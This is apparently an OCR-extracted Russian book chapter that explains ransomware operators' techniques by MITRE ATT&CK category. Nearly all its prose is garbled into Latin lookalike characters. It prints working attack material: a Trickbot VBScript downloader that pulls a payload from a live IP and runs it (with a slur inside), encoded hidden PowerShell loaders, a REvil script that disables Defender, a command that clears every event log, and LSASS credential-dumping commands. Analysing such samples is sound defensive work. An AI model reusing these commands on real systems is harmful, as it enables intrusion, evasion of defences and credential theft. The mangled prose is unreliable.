AK3eMILISIpOB Trickbot v BBIMOJIHEHUS BpEAOHOCHBIX CKpUnTOB VBScript.



set roro = createobject("wscript.shell")
temppath = roro.expandenvironmentstrings("%localappdata%")
set pipa = createobject("scripting.filesystemobject")
set fsobject = createobject("scripting.filesystemobject")
if pipa.fileexists(temppath & "\kugeecwwcvswe.txt") then
wscript.quit
elseend
53
pipa.createtextfile (temppath & "\kugeecwwcvswe.txt")
urlcount = lurll = "http://172.83.155.147/images/
inlinelots.png"
currentdir = fsobject.getparentfoldername(wscript.scriptfullname)
localexepath = currentdir + "\" +fsobject.gettempname + ".d1l1l"
docall

dowloop

while urlcount < 2

public function dow()on error resume
nextset

request = createobject("winhttp.winhttprequest.5.1")
set file = wscript.createobject("shell.application")
set bstrm = createobject("adodb.stream")
useragent = "mozilla/5.0 (windows nt 6.1; wow64; rv:58.0)
gecko/20100101 firefox/58.0"
select case urlcountcase

1
downstr = urllend
select
request.open "get", downstr, false
request.send
errorsend = err.descriptionif

instr(l, errorsend, '"serve'") then '
urlcount = urlcount + 1
else
bstrm.open
bstrm.type = 1
bstrm.write (request.responsebody)
bstrm.savetofile localexepath
bstrm.closecall
defender
urlcount = urlcount + lend
ifset

textstream = fsobject.createtextfile("" + wscript.
scriptfullname + "")
textstream.write ("suck my feets, faggot")
textstream.closeend
functionpublic function
defenderset
shellok = createobject("wscript.shell")
abc = "ru"+"nd"&"113"+"2.e"+"xe " + localexepath + ", runquery"
shellok.run (abc),0, false
end function

DTOT CKPHUIT MOXKET ITOKa3aThCs CI0KHEBIM, HO 3T0 He Tak. OH npocto 3arpyxkaet Trickbot (inlinelots.png) c
anpeca 172.83.155[.]147, coxpanser ero B nmanky C:\Users\%user%\AppData\Local u 3amyckaer
gepe3 rundll32.exe — u Bce!

Jpyroii mpumep — lcedID. Beun cnydait, korga ais JOCTaBKH 3TOr0 TPOSHA 3710 YMBIIIICHHUKU PACIIPOCTPaHSIIH
apXMBBI C BpeAOHOCHBIMU (paiiimamu JavaScript. Ckpunt 3ammyckaeT CMd.exe, KOTOphIi, B CBOIO OUepEeb,
3amyckaet powershell.exe.

"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep
bypass -enc SQBFAFgATIAAOAE4AZQB3ACOATWBiAGOAZQBjAHQATIABOAGUA-
dAAUAFCcAZQBiAGMADABpAGUAbgBOACKALgBkAGBAdwBuUAGWAbWBhAGQACWBOA~
HIAaQBUAGCAKAAiIiAGgAdABOAHAAOgAVACS8ADLOBhAGIAaQBVAHIAZQB4AC4ACW-
BwAGEAYwB1AC8AMwAzZADMAZWAXADAAMAAVAGKkAbgBkAGUAeAAuUAHAAaABWACI
AKQA=

Ecau MbI nexkoaupyem base64, Mbl yBUIFIM, YTO OH 3arPyKacT ¢ CepBepa, KOHTPOJIUPYEMOTO
3JI0YMBIIIJICHHUKOM, KOJ JIUISL CIICAYIOIIErO 3Tara aTtakH.

Kak BuauTe, UCIIOJb30BaHUE HHTEPIIPETATOPOB KOMAH/I M CIICHAPUEB OUYEHb PACIIPOCTPAHEHO, HO YaCcTO B ATUX
Clydasix KepTBa caMa JOJKHA 3allyCTUTh CKPUIT WIM BKIOYUTh MaKpoChl. KOHEUHO, 3TO HE €IMHCTBEHHBIN
BapHMaHT, TOCKOJIbKY MHOTIa 3JI0YMBIIIICHHUKH UCIIOIb3YIOT YSI3BUMOCTH B IIPOIrpaMMHOM O0SCIICUCHUHN JIJIS
aBTOMAaTHYECKOTO 3allycKa Bpe1oHOCHOTO KoAa. Kazanock Obl, ucnosb3oBanue PowerShell B mpecTynHbIX 1esx
MOKET OCTaThCs HEe3aMeUeHHbIM, HO Ha caMoM Jiesie PowerShell ¢ ero cucremoli MOHUTOpHUHTA CO3/IAET MHOI'O
[IIyMa M UHOT1a TTIO3BOJISIET JIETKO CY3UTh 00JIaCTh MOUCKA.



BbinmostHeHHe ¢ MOMOIIUbIO 3KCIJIOUTOB (T1203)

MBI yKe 00CyXaanu, KaK JiJIsl TOJYYEHHUS IEPBOHAYATIBHOTO JOCTYIA K CETH 3JI0YMBIIIJIEHHUKU UCTIOIb3YIOT
ySI3BUMOCTH B OOIEOCTYITHBIX IIPUIIOKEHUSX, HO B HEKOTOPBIX CIy4YasX OHU TakK)K€ MOT'YT UCITOJIb30BaTh
ysi3BUMOCTH B opucHoM [10, Hanipumep B Microsoft Office. Tem He MeHee, MPexIe YEM Bbl COCPEIOTOYUTECH HA
BHYTPEHHUX YSI3BUMOCTSIX, HACTOATEIbHO PEKOMEHYETCSI CHavasla 3aKphITh YSI3BUMOCTH B IMMyOJIMYHO
JOCTYITHBIX TTPUJIOKECHUSIX.

Odenb xopommui mpuMep — HeaaBHss ysa3BuMocTe B MSHTML (CVE-2021-40444), koTopyro rpynmna Wizard
Spider akTHBHO MCIIOJIb30Baa JJIs JOCTaBKU 3k3eMILIsIpoB Bazar u Cobalt Strike.

YacTto 3710ynoTpeOIsitoT BCTPOCHHBIMA MHCTPYMEHTaMHU. Ellle OAWH TpruMep MOMUMO UHTEPIPETATOPOB KOMAH/T
u cuenapueB — Windows Management Instrumentation (WMI).

Windows Management Instrumentation (T1047)

Windows Management Instrumentation — 3to pacnpocTpaHECHHBIH HHCTPYMEHT, KOTOPBIM TOJIB3YIOTCS
pa3IMYHBIC ONEPATOPHI MPOrPAMM-BBIMOTATEIIEN JIJISI 3AITyCKa KOAA, KaK JIOKAJIbHO, TAK U YAAJIIEHHO, HAIIPUMED
py npoaBuXeHuu 1o cetu. Tak, Cobalt Strike, ppeliMBOpK MOCTIKCILTYaTallMKU, YpE3BbIYAHO MOIYISIPHBIN
CpPEIY JIMII, CBI3AHHBIX C IMIPOrPAMMAaMM-BBIMOTATEIISIMA, UMEET BCTPOCHHYIO BO3MOXKHOCTh HMCIT0JIb30BaTh WMI
IUI YIAJIEHHOTO 3aITyCKa KOJa.

Kak BBI YK€ 3HAeTe, aTaKu MPOrpaMM-BbBIMOIATEIIEH TT0]] YIIPABIEHUEM YEJI0BEKA MOTYT JUIMTHCS JIOBOJIBHO
J0JIC0, IOATOMY 3JI0YMBIIIJIEHHUKH JOJKHBI ObITh B COCTOSIHUM BBIJCPKATh IE€pe3arpy3Ku, COXpaHss
IOCTOSAHHBIN JIOCTYII KO B3JIOMAaHHOM CETH.

3aKpeIljieHHue

YacTo Ha 3Tane nNoCTIKCILUTyaTallluy 3JI0YMBIIIJICHHUKAM TPEOyeTCs MTOCTOSHHBIN JIOCTYII K CETH — IIO3TOMY,
pearupys Ha UHUUIACHTHI, BBl MOKETE CTOJKHYTHCSA C Pa3JIMYHBIMUA METOJAMU 3aKPEIUIEHUA. DTOT LAl ITOYTH TaK
K€ BaXKEH, KaK U CaMO IIPOHUKHOBEHHE B CETh. VICMONIB30BaHNE TOMOTHUTEIBHBIX 03KI0POB TapaHTUPYET
3JIOYMBIIIJIEHHUKY, YTO OH BCErJla CMOXKET BEpHYThCS. /laBalTe pacCMOTpUM MPUMEPHI HAUOO0JIEE
pacIpoOCTPaHEHHBIX METOOB.

JencTBUTEe/IbHbIE YyUyeTHbIe 3anucu (T1078)

Yacrto, ocobeHHO B ciaydasax B3iioma RDP unn VPN, 310yMBIIIIEHHUKY HCTIOIB3YIOT JIJIS JOCTYIA B
KOPIIOPATUBHYIO CETh ACUCTBYIOIIMNE YUETHBIE 3anMCH. [ I0CKOJIIbLKY OHU MOTYT MOJIb30BATHCS Cpa3y HECKOJIbKUMHU
B3JIOMAHHBIMU YUYETHBIMHU 3aMIUCAMM, 3TOT METOJ MOXHO HCIIOJIb30BATH JJIS 3AKPEIJICHUS B
CKOMIIPOMETUPOBAHHOM CETU. boJiee TOro, ¢ JIETMTUMHBIMU YYETHBIMU JAHHBIMHU OIIEPATOPHI IIPOTPAMM -
BBIMOTATEIEW MOTYT JIOBOJIBHO JOJITO OCTABATHCS HE3aMEUEHHBIMU.

Co3aaHue yyeTHOM 3anucu (T1136)

Ecnn y 3710yMBIIIJIEHHUKOB YK€ €CTh YUYE€THbBIE JaHHBIC A AMUHUCTPATOPA, OHU MOT'YT MCII0JIb30BaTh UX JJIs
CO3/IaHMS IONMOJIHUTEIBHBIX YYETHBIX 3alMCEH, YTOOBI HOIYYUTh PE3EPBHBIN JOCTYN K CETH, JaXKE €CIIU
CKOMIIPOMETHPOBAHHBIC YUETHBIC 3alIUCH Oy1yT OOHAPYKEHBI U 3a0JIOKUPOBAHBI COTPYIHUKAMU CITYKObI
0€30MaCcHOCTH.

Beino/iHeHH e aBTO3aNyCKa IPU 3arpys3ke ujiv Bxoae B cucremy (T1547)

I/ICHOHBBY}I B KQUCCTBC HHCTPYMCHTA IICPBOHAYAJILHOI'O JOCTYIIA B CCTh PA3JINMYHLIC INKUPOKO JOCTYIIHBIC
IIPOTPAMMBI, OTIEPATOPHI IIPOTPAMM-BBIMOIaTEIEN TAKKE AKTUBHO MIPUMEHAIOT HEKOTOPBIE pACHIPOCTPAHEHHBIE
METOIbI 3aKperuieHus. Hanpumep, n3pectHo, uro Bazar Loader ucnonbs3yeT 115 3aKperyieHus BO B3JIOMaHHOM
cucreme kimou peectpa Run (Software\Microsoft\Windows\CurrentVersion\Run).

Jpyroii mogMeTO 1, UCIIOJb3YEMBIM TEM K€ TPOSHOM, 3aKJI0YAETCs B 3JI0ynoTpedeHun yHkuusiMu Winlogon
JUIs 3aIlyCKa MporpaMMBbl IPU BXOE MOJIb30BaTEelIsl B CUCTEMY. ITO ACIAEeTCs IyTEM U3MEHEHUS KIIFoYa
peectpa Software\Microsoft\Windows NT\CurrentVersion\Winlogon.



3amiaHUpPOBAaHHAaA 3a4a4a/3agaHue (T1053)

Co3anue 3alIaHupOBAHHOM 3aJ]a4M — €IIE€ OJIMH IMUPOKO PACIIPOCTPAHEHHBIM METOM, KOTOPBHIA UCTIOJIB3YETCS
MHOTHUMH TPOSTHAMH, YYACTBYIOIIIMMHU B aTaKax IPOrpaMM-BbIMOTaTEIIEH, YIIPABISEMBIX YEJIOBEKOM. BOT nmpumep

KOMAaHJHOW CTPOKH, KOTOPYIO UCIIOJIB3YET ISl o0ecnieueHus nepcucreHTHoctu Qakbot.

C:\Windows\System32\schtasks.exe" /create /tn {AC45A601-09FD-
5A61-A328-2DED4897D427} /tr "\"C:\Users\Shelly\AppData\Roaming\
Microsoft\Lapahcah\lapahzv.exe\""/sc HOURLY /mo 6 /F

3arutaHMpOBaHHas 3aja4a OyAeT BBINOIHATH 3almyck Qakbot kax/iple IIeCTh 4acoB.

[IporpaMMHBIN KOMIIOHEHT cepBepa (T1505)

Bbl yke 3HaeTe, 4TO UCIO0JIb30BaHUE OOIIEIOCTYIIHBIX IPUIIOKEHU — JOBOJIBHO PacIpOCTPaHEHHbBIN cpeau
OIIepaTOPOB MPOrPaMM-BbBIMOIaTEIC METO/I MOJYUYEHUS IEPBOHAYAJIBHOI'O IOCTYIIA B CETh. A 4TOOBI 00€CIICYNTh
MIEpMAHEHTHBIN JOCTYI, OHU JOBOJIbHO YAaCTO MPUMEHSIOT BEO-IIIEIIBI.

BeO-11eiuibl — 3T0 CKPUIITHI, pa3MEICHHBIE Ha O0IIEAOCTYITHBIX BEO-CEpBEPaAX, MO3BOJISIONINE
3JIOYMBIIIJICHHUKAM 3aIllyCKaTh Pa3JIMYHbIe KOMaHAbl Yepe3 HHTeP(EHC KOMaHHOW CTPOKH.

MBI paccMOTpenu Hanbosee pacpoOCTPAHEHHBIE METO/IbI, KOTOPBIE UCIIOJIB3YIOT OMEPATOPHI IPOTPaAMM-
BBIMOTATEJIEN 1 3aKPEIUIEHUS B CKOMIIPOMETUPOBAHHBIX CETAX. Teneph JaBanuTe MOCMOTPUM, KaK UM YIA€TCs
MOBBIIIATH [TPUBUJIETUM.

[loBbIlIEHHUE NIPUBUJIETHH

Bo MHOrUX ciy4asix 3JIOYMBIIIIEHHUKHA TTOCJIE MOJIYYEHUS TEPBOHAYATIBHOTO JOCTYIIA K LIEJIEBOM CUCTEME HE
MMEIOT HAAJICKAIAX IIPUBUICTUN. [[JI1 MOBBIILEHUS TPUBUIIETHM OHUA MCIIOJIB3YIOT PA3JIMYHBIE METOIbI. MBI
PACCMOTPUM CaMbI€ PACITPOCTPAHECHHBIE U3 HUX.

JKCIUTyaTalnusa YA3BUMOCTEN A1 NOBbILIeHUs npuBuiieruu (T1068)

Ha pa3HbIX 3Tanax ;KU3HEHHOTO IIMKJIa aTAKW MPOrPAMMBI-BBIMOIATENIS — B TOM YHCJIC HA 3TANE MOBBIIICHUS
MIPUBUJIETUN — 3JIOYMBIIIJICHHUKAM MOT'YT IOMOTaTh pa3jnvHble YA3BUMOCTU. Hanmpumep, oneparopsl

mporpaMmbI-BeiMoratelis ProLock ucrmonas3oBanu i1 moJIydeHHs TPUBUIICTHI YPOBHS aJIMUHHCTPATOPA
ysi3BuMocTh B pyakiuu CreateWindowEx (CVE-2019-0859).

JHpyroit npumep — nporpamma-peiMoraresib REvil. C ee moMoIp0 MOKHO ObLUIO KCILTYaTUPOBATh IS
MOBBIIIICHHMS IIPUBUJICTUI YA3BUMOCTD JpaiiBepa Win32.sys Microsoft Windows (CVE-2018-8453).

Takum o0pazom, 111 moaydeHHs: 00JIE€ BBICOKOIO YPOBHS IPaB MOKHO MCII0JIb30BaTh MHOTHE
pPACIPOCTPAHEHHBIE YA3BUMOCTH. ECIU KOMITaHUS HE UCITPABIISIET U HE YCTPAHSIET 3TU YSI3BUMOCTHU, OHA MOXKET
CTOJKHYTBCS C CEPhE3HBIMU ITPOOJIEMaAMHU.

Co3aaHue Win U3MeHeHHUe CUCTEeMHOro npoiuecca (T1543)

Ciyx061 Windows 0OBIYHO MCIOJIB3YIOTCS Pa3IMYHBIMM 3JI0YMBIILICHHUKAMH, B TOM YHUCJIE CBSI3aHHBIMU C
IporpaMMaMu-BbIMOraTeIsIMH, JJIs JIOKAJIbHOT'O MJIX YAAJIEHHOT'O 3allyCcKa BpeJIOHOCHOT 0 Kojia. Takke cay»KObl
Windows MOKHO MCIIOJIb30BaTh U JJIs MOBBIIICHUS IPUBUIIETHI, IOCKOJBKY OHU MOTYT BBITIOJHSATHCS C
npuBuierusMu SY STEM. Crenyer oTciexxuBaTh aHOMaJIWM, CBA3aHHbIE CO cliy;k0aMu Windows, a Takxke
peryisipHO pa30upaTh CIIEHAPUM UX 3JI0HAMEPEHHOT'O MCIIOJIH30BaHUS IS YIIYUIIICHUS MOHUTOPHHTA.

Habeknusa xkoaa B npouecc (T1055)

Eme oauH BechbMa pacpoCTPaHEHHBIM METOJ] — WHBEKIIUU B IIPOIECCHI. 3IOYMBIIIJICHHUKHA MOT'YT
HCIIOJIE30BaTh MMCIOIIHECS B CHCTEME IIPOIICCCHI C MOBBIINICHHBIMHA MPUBIIICTUSMHU JJISI BBIITOTHCHUS
IPOU3BOJIBLHOTO KOJA B MX aAPECHOM IPOCTPAHCTBE. ITH JKE€ IPUEMBI MOXKHO HCITOJIL30BaTh U JIJIT 00X0/1a
HEKOTOPBIX cpeAcTB 3amuThl. Hanpumep, Trickbot ncnons3yer mirs nabeknuii wermgr.exe (Windows Problem
Reporting), a Qakbot — explorer.exe (Windows Explorer).

3/10ynorpeo6/ieHMe MeXaHU3MOM KOHTPOJISA YPOBHA AocTtyna (T1548)

B Windows ecThb HECKOJIBKO MEXaHHW3MOB KOHTPOJISI PaB AOCTYIIA, U, KOHEYHO K€, OIEpaTOphl IPOrpaMM-
BbIMOTaTeNeH HaXOIST pa3IMdHbIe CIIOCOOBI X 00X0/1a. XOpOIIUKA IPUMEP TAKOr0 MEXaHU3Ma — KOHTPOJIb



ydeTHBIX 3amuceid moib3oBareneii (User Account Control, UAC). DTotr MexaHH3M MO3BOJIICT IPOrpaMMaM
MOBBIIIATh IPUBUJICTHH, 3alpalliiBasl IIOATBEPKACHHUE Y Moab30oBareida. UTtoowl o0outH ero, Trickbot, B
4aCTHOCTH, UcIoJib3oBall WSReset.exe, koTopslil Hy»KeH Jy1si copoca HacTpoek Windows Store.

[IpuBUIErNM — HE €IUHCTBEHHOE MPEHATCTBUE, C KOTOPBIM CTAIKMBAIOTCS KMOepnpecTynHUKU. CII0KHOCTH
BBI3BIBAIOT Y PA3JIMYHBIC CPEJICTBA 3ALIUTHI, IITUPOKO PACIIPOCTPAHEHHBIE B KOPIIOPATUBHBIX CPEAax.

006xo0a 3alIUThI

B 00JBIIMHCTBE ClTy4yaeB HA MPOTSHKEHUH BCETO )KU3HEHHOTO [IMKJIA aTAKW 3JI0YMBIIIJICHHUKAM, YIIPaBJISIOIINM
IpOrpaMMaMU-BbIMOTraTENs MU, IPUXOAUTCS UCIOJIB30BATh PA3JIMUYHBIE METOABI MACKUPOBKHA. OHU MOTYT
OTKJIIOYaTh/ yaaisaTh 3amutHoe 110, 00dycuupoBaTs win mu@poBaTh JaHHBIE WM, HAIPUMED, YAAUISATH YIUKH CO
CKOMITPOMETHPOBAHHBIX XOCTOB.

JKCIIyaTaluAa YA3BUMOCTEHN AJ11 00X04a cpeACcTB 3amuuThl (T1211)

3JI0YMBIIIIEHHUKHA MOTYT UCIOJIb30BaTh Pa3IMUHbIC YI3BUMOCTH JIJIsI 00X0/1a CpeaICTB 3aluThl. [IpuBeny
pUMEpP U3 MPAKTUKU — OIepaToOphl IporpaMmbl-BeiMoratelisi Robinhood ncnonbs3oBanm ys3BUMOCTh B ApaliBepe
Gigabyte (CVE-2018-19320). 310 MO3BOJHIIO 3710yMBIIUICHHUKAM 3arpy3UTh €III¢ OJMH HEIO AN CaHHbIN
apanBep, KOTOPBIN HCIIOIb30BaJICs IS 3aBEPIICHUS IPOIECCOB U CIYKO, CBA3aHHBIX C MPOTYKTaMU
0€301aCHOCTH, U 00ECIIEYECHUS YCIIEIITHOTO Pa3BEPTHIBAHMS ITPOTPAMMbBI-BBIMOTATEIA.

Hdeoodyckauusi/aekogupoBanue ¢panioB uian uHpopmauuu (T1140)

Kak BpemoHOCHBIC IPOTPaMMBbI, TaK U MPOTPAMMBI-BEIMOTATEIIN JOBOJIBHO YaCTO MCIIOJIB3YIOT IJII 00X0aa
MEXaHU3MOB OOHAPYKEHUS PA3JTUUYHBIE METOAbI 00 yCKAIIUM (3aITyThIBAHUS ), TAKUE KaK MU POBAHUE U
KoaupoBaHue. BecbMa pacnpocTpaHeHHbBIN MeTo 1 00 ycKaluu — KoaupoBaHue base64.

XapakTepHblil TpuMep 3Tor TexHukU — 3anyck Cobalt Strike SMB Beacon ¢ momomisro PowerShell.

C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop
— w hidden -encodedcommand JABzADOATgBlAHcALQBPAGIAagBlAGMAdAA-
gAEKATWAUAEOAZQBtAG8AcgBSAFMAJABYAGUAYQBtACGALABDAEMADWBUAHY-
AZQBYAHOAXQA6ADOARgBYAGBADOBCAGEACWBl1ADYANABTAHQACgBpAGAAZWAOA-
CIASAAOAHMASQOBBAEEAQOBBAEEAQQ<redacted>

Kak yxe ynomuHaioce, Cobalt Strike — 3T0 mpoko pacnpocTpaHeHHbIN (PPEUMBOPK MOCTIKCILTYaTaLIUH,
KOTOPBIN UCIIOJIb3YETCSI MHOTMMHU JIMIIAMHU, CBSI3aHHBIMM C IpOrpaMMaMHu-BbIMOraTeasiMu. M3HadanbHO 3TOT
Ha0Op MHCTPYMEHTOB IMOCTAKCILTyaTaAMM C PACIIMPEHHBIMHA BO3MOKHOCTSMU ObLIT pa3pa0dO0TaH JjIsd CUMYJISLIUN
aTak, HO, K COKaJICHUIO, OH 00peJl HOMYJIIPHOCTh U CPEJIN PEAJIbHBIX 3JI0YMBIIIIICHHUKOB.

HN3mMeHeHHe nIpaB A0CTyNna K ¢panjiaM U Katasioram (T1222)

YacTo 3JI0yMBIIIJICHHUKAM, CBSI3aHHBIM C IIPOrpaMMaMHM -BBIMOTaTeISIMU, HEOOXOAUMO ITOJIYYUTh TOCTYIT K
3alUIICHHBIM (haitaam. Takue paiyibl MOryT ObITh 3aIM(DPPOBAHEI.

MHorue mramMMbl IIPOTPaMM-BBIMOTATENICH HCIOIB3YIOT BCTPOSHHYIO YTUIINTY ICAClS, KoTopas mo3BoiIseT
M10JIb30BATE/ISIM OTOOpaXKaTh M U3MEHSTh JECKPUIITOPhI O€30IIaCHOCTH Marok u ¢aiaoB. BoT npuMmep ee
MCIOJIb30BaHMS IEYAJIbHO U3BECTHOM IIporpamMmMoii-BeiMoraresieM Ryuk.

icacls /grant Everyone: F /T /C /Q
JTa KOMaHJila CHUMAET JIF0ObI€ OrpaHMYEHU JOCTYyIIAa K IankaM U (paiiiaM.

Ocs1a6yieHue 3amuThl (T1562)

B OOJBIIMHCTBE Cpel UMEIOTCS XOTS Obl MUHMMAJIbHBIC 3allIMTHBIC MEXaHU3MBbI, KOTOPbIE KHOEPIPECTYITHUKH
JTOJKHBI OOOMTH, YTOOBI JOCTUYh CBOUX Iiejiel. Hanmpumep, UM MpUXOAUTCS OTKI0YaTh aHTUBUPYCHOE
IporpaMMHOE 00€CIIEYCHUE HIIN OYUIIATh KYpHaIbl coObITH Windows.

Taxk, Bo Bpems ataku Ha Kaseya (https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689) orepatopsl
REvil ucnoap3oBanu ciaeayrOmi CKpUIIT.




C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979

> nul & C:\Windows\System32\WindowsPowerShell\v1l.0\ powershell.exe
Set-MpPreference -DisableRealtimeMonitoring

$true -DisablelIntrusionPreventionSystem $true

— DisableIOAVProtection $true -DisableScriptScanning $true

— EnableControlledFolderAccess Disabled -EnableNetworkProtection
AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent
NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\ Windows\
cert.exe & echo%RANDOM% >> C:\Windows\cert.exe & C:\ Windows\cert.
exe -decode c:\kworking\agent.crt c:\kworking\ agent.exe & del /q
/£ c:\kworking\agent.crt C:\Windows\cert.exe &

Kak BuuTe, 4acTh CKpHUIITAa HAIIpaBjICHA Ha OTKIIIOUYEHHUE pa3InuHbIX QyHKIund Windows Defender —
BCTPOECHHOI'0 aHTHUBHUPYCHOI'O MPOrpaMMHOro odecrieueHuss Windows.

B 0ONBIIMHCTBE ClTy4aeB 3JI0YMBINIJICHHUKAM NPUXOUTCS PACHPABIISATHCS U C APYTUMH CPEACTBAMH 3alIUATHI.
PacnipocTpaHeHHBI METOJ — OOBIYHAS OCTAHOBKA CBA3aHHBIX C aHTUBUPYCOM IIPOLIECCOB U CIIYKO C TOMOIIBIO
CcaMOM MPOrpaMMbI-BBIMOTATEN WA TAKUX HHCTPYMEHTOB, kKak Process Hacker nmn GMER.

YaaneHnue nuHaAUKAaTOpOB HA XocTe (T1070)

OnepaTopaM mporpaMM-BbIMOTATENIEN OOBIYHO HYKHO OCTABATHCS B CETHU KAK MOKHO JIOJIBIIE, TIO3TOMY OHU
NBITAIOTCS YCIOKHUTD KU3Hb KHOEP3alllUTHUKAM, YIS 5KYPHAIBI U (Pailjibl, KOTOPHIE MOHO MCHOJIb30BaTh
IJT. OTCJIEKUBAHUSA UX JIEATEIBHOCTU B CKOMIIPOMETUPOBAHHOM CETH.

B xoae 0HOT0 U3 MOCAECIHUX MEPOIIPUATUHN 10 PEArMPOBAHUIO HA UHIUIAECHT Mbl YBUJIEIH, YTO
3JIOYMBIIIJICHHUKH UCITOJBb30BAJIM OYEHB MPOCTYIO, HO OY€Hb 3(P(HEKTUBHYIO KOMAHTY.

C:\Windows\System32\WindowsPowerShell\vl.0\powershell.EXE
"wevtutil el | foreach {wevtutil cl $_ "

JTa mpocTasi KOMaH/1a M03BOJIMJIAa UM OYHUCTUTH CPa3y BCE KYPHAIBI COOBITUH.

3amnycK Ha MCIIOJIHEHM e Yepe3 NOoANMCaHHble OMHapHbIe ¢panibl (T1218)

[Tocnemauii METO A YKIOHEHUS OT 3aIMThI, KOTOPHEINA MBI pACCMOTPHM, — 3TO 3aIlyCK Ha MCIIOJIHCHHE Yepe3
noAIIMCaHHbIe OMHapHBIC (aiibl. OnepaTopkl IporpaMM-BBIMOTATEICH MOTYT MCITOJIb30BaTh JICTUTUMHBIC
OmHapHbBIC (haiyIbl B KQUECTBE ITOCPSIHUKOB JIJIs BRIIOJIHECHUS BpeAJOHOCHOr0 Koma. Hanboiree
pacrpocrpaneHabie BapuanTel — rundll32.exe u regsvr32.exe.

Bot nmpumep Toro, Kak 3JI0yMBIIUICHHUKH, CBSI3aHHBIC ¢ MporpaMMoi-BeiMorarteiiem Conti,
ucroab3oBanu rundll32.exe ms 3amycka Cobalt Strike Beacon.

rundll32.exe C:\Programdata\sys64.dll entryPoint
Another example is IcedID leveraging regsvr32.exe:

Eme onun npumep — IcedID. B 3TOT pa3 3710yMbIIIIEHHUKAMHA UCIOIb30BajICs regsvr32.exe.

regsvr32 c:\programdata\preview.jpeg

KoneuHo, KHOEpIpeCTyIHUKN MOTYT HCII0JIb30BaTh U APYyTrHUe MoANMcaHHble OuHapHbie (aiiibl. Hanmpumep, BO
BpeMsI OJTHOM M3 MOCIICIHUX KaMITaHUH onepaTopsl Zloader ucroap3o0Bain MSieXec.exe, 9To0bl MOIBITAThCS
00O0MTH 3alUTY.

I[anee MbI PACCMOTPHUM HCKOTOPLIC PACIIPOCTPAHCHHBIC MCTOAbI, KOTOPBIC 3JIOYMBIINIIICHHUKHW HCIIOJb3YIOT IJIA
HOCTVYIIA K YUYCTHBIM JdHHBIM.

Iﬂ()CTyrl K V4€THBbBIM AdHHDbIM

IToCKOIbKY B OOJIBIIMHCTBE CIYy4aeB MPECTYMHUKH, PACHPOCTPAHSIIOIINE IPOrPaMMbI-BEIMOTATEIIN, CTPEMSITCS
3alIn(POBaTh KaK MOKHO OOJIbIIIE XOCTOB, UM HY>KHA BO3MOXKHOCTh IEPEMEIIAThCS 110 CETH TOPHU30HTAILHO WJIH,
10 KpailHel Mepe, yAaJICHHO 3allyCKaTh BPEeIOHOCHBIN Kod. YTOOBI AeaaTh 3TO HE3aMETHO U () (PEKTUBHO, OHU
IPEeANOUYNTAIOT CHAaYalla MOJIYYUTh YUETHbBIC JaHHbBIC C OBBIIICHHBIMU IIpaBaMM, HO UX IJIaBHAS 1I€JIb — y4eTHas
3allUCh aAMUHHUCTpATOpa JOMEHA.

CymecTByeT JOBOJBHO MHOTO METOIOB, MO3BOJIAIOIINAX 3JI0YMBIIIICHHUKAM MOJy4aTh JTAHHBIC
ayTeHTU(UKaluu. /[aBaiiTe pacCCMOTPUM CaMbl€ PaCOPOCTPAHEHHBIEC U3 HUX.



MeToa rpyoou cuiabl (T1110)

Br1 yxe 3Haere, uto RDP, VPN n npyrue BHemHue ciry:k0b1 yAaIEeHHOTO JOCTYIIA YaCTO UCIOJIb3YIOTCS IS aTak
C UCIIOJIb30BAHUEM IIPpOTpaMM-BbIMOrarenen. Takue cepBUChl BO MHOTUX CIIy4asX IJI0XO 3allUIIEHBI, IODTOMY
OpOKEPHI TEPBOHAYAIIBHOI'O JTOCTYNA UJIM CaMM OIIEpPaTOPbl MPOTpaMM-BbBIMOTATEJIEH MOTYT IPOBOJIUTH MPOTHB
HUX YCIECIIHbIE aTaKW METOJAOM I'pyOOM CHIIbI, YTOOBI MOJTYYUTh JOCTYN K AEUCTBUTEILHBIM YUYETHBIM 3aITUCAM.

JaMnuHr yyeTHbIX AaHHbIX OC (T1003)

JIpyroii MMpoKoO pacupoCTpaHESHHBIM METO — JaMIIMHT YUSTHBIX JaHHBIX. OnepaTopsl MporpaMM-BEIMOTraTeIeH
10 CUX IIOp 9acTo ucnoiab3yioT Mimikatz, xots ero jerko o0HapykuTh. HeKOTOPBIC 30 YMBIIIICHHUKH TaKE
3arpy>karoT €ro BpYYHYI0 Ha CKOMIIPOMETHPOBAHHBIA XOCT U3 opuimaibHOro penosuropus GitHub.

DTO HE €IMHCTBEHHOE CPEJICTBO, KOTOPOE MCIOJb3YETCS JJIS JaMIIMHIa YYE€THBIX JaHHBIX. OJIHA U3 aIbTCPHATHUB,
KOTOPYIO B IIOCJEIHEE BpEMS MBI BCTpedaeM Bce vaile, — LaZagne, MHCTpyMEHT, CHOCOOHBIN HM3BJICKATh
YYETHBIC JAHHBIE HE TOJIBKO M3 SHEPro3aBUCUMOM MNaMSTH, HO U U3 Pa3IMYHbBIX XPAaHWIMIL apoJIeh, TAKUX Kak
BeO-Opay3epshl.

Jpyroii npuMep — HCIOJb30BAHNE HHCTPpYMEHTa ProcDuUmMp, KoTopelid, Kak IpaBUIO, IPUMEHSETCS IS

CO3JaHHUsI CHUMKA IMaMsTH Ipolecca CepBrca NPOBEPKU NOJJIUHHOCTH JOKAJIbHOM CHCTEMbI O€30IMaCHOCTH
(Local Security Authority Subsystem Service, LSASS).

procdumpé64.exe -ma lsass.exe lsass.dmp

3JI0YMBIIIJIECHHUKH MOTYT BBITPY>KaTh TAKUE JIAMITbI M UCITOJIB30BATh UX JIJISl U3BJICUCHUS YYETHBIX JAHHBIX C
ITOMOIIbIO MHCTPYMEHTOB Tuila Mimikatz.

JIumam, CBsI3aHHBIM C IMIPOrpaMMaMU-BbEIMOTaTeIISIMM, Ja)Ke HEe 0053aTEIbHO 3arpyKaTh JOMOJIHUTCILHBIC
MHCTPYMEHTHI IJIs JaMIla YYETHBIX JaHHBIX — OHU MOTYT I10JIb30BaThCsl BCTPOCHHBIMH BO3MOKHOCTSIMU
Windows. Hanpumep, uinensl rpynnupoBku Conti ucnoab3oBaiu GyHkiuo MiniDump ciayx0e1 COM+ s
co3aaHud jaamia Isass.exe.

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 928 C:\
programdata\aaa.zip full

